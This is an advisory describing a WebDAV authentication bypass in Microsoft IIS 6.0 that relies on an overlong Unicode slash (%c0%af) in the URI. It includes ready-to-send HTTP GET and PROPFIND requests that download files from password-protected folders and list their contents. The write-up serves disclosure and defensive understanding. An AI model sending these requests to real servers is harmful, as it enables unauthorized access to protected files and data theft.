Microsoft IIS 6.0 WebDAV Remote Authentication Bypass

Vulnerability Details

This vulnerability allows remote attackers to bypass access restrictions on
vulnerable installations
of Internet Information Server 6.0.
The specific flaw exists within the WebDAV functionality of IIS 6.0. The
Web Server fails to properly
handle unicode tokens when parsing the URI and sending back data.
Exploitation of this issue can
result in the following:

Authentication bypass of password protected folders
Listing, downloading and uploading of files into a password
protected WebDAV folder

Authentication bypass of password protected folders

Assume there is a password protected folder in
�d:\inetpub\wwwroot\protected\�. The
password
protection mechanism is not relevant for the attack to work. Inside this
folder there is a file named
�protected.zip�

The attacker sends a HTTP GET request to the web server.

GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername

As seen above the URI contains the unicode character '/' (%c0%af). This
unicode character is
removed in a WebDAV request. �Translate: f�
instructs the web server to handle the request using
WebDAV. Using this malicious URI construct the webserver sends the file
located at
�/protected/protected.zip� back to the
attacker without asking for proper authentication.
Another valid request an attacker might send to the web server is:

GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername

IIS 6.0 will remove the �%c0%af� unicode
character internally from the request and send back the
password protected file without asking for proper credentials.
ASP scripts cannot be downloaded in this way unless serving of script
source-code is enabled.

Listing files in a password protected WebDAV folder

The attack on WebDAV folders is similar. The attacker can bypass the access
restrictions of the
password protected folder and list, download, upload and modify files.
The attacker sends a PROPFIND request to the web server.

PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>

IIS responds with the directory listing of the folder without asking for a
password.
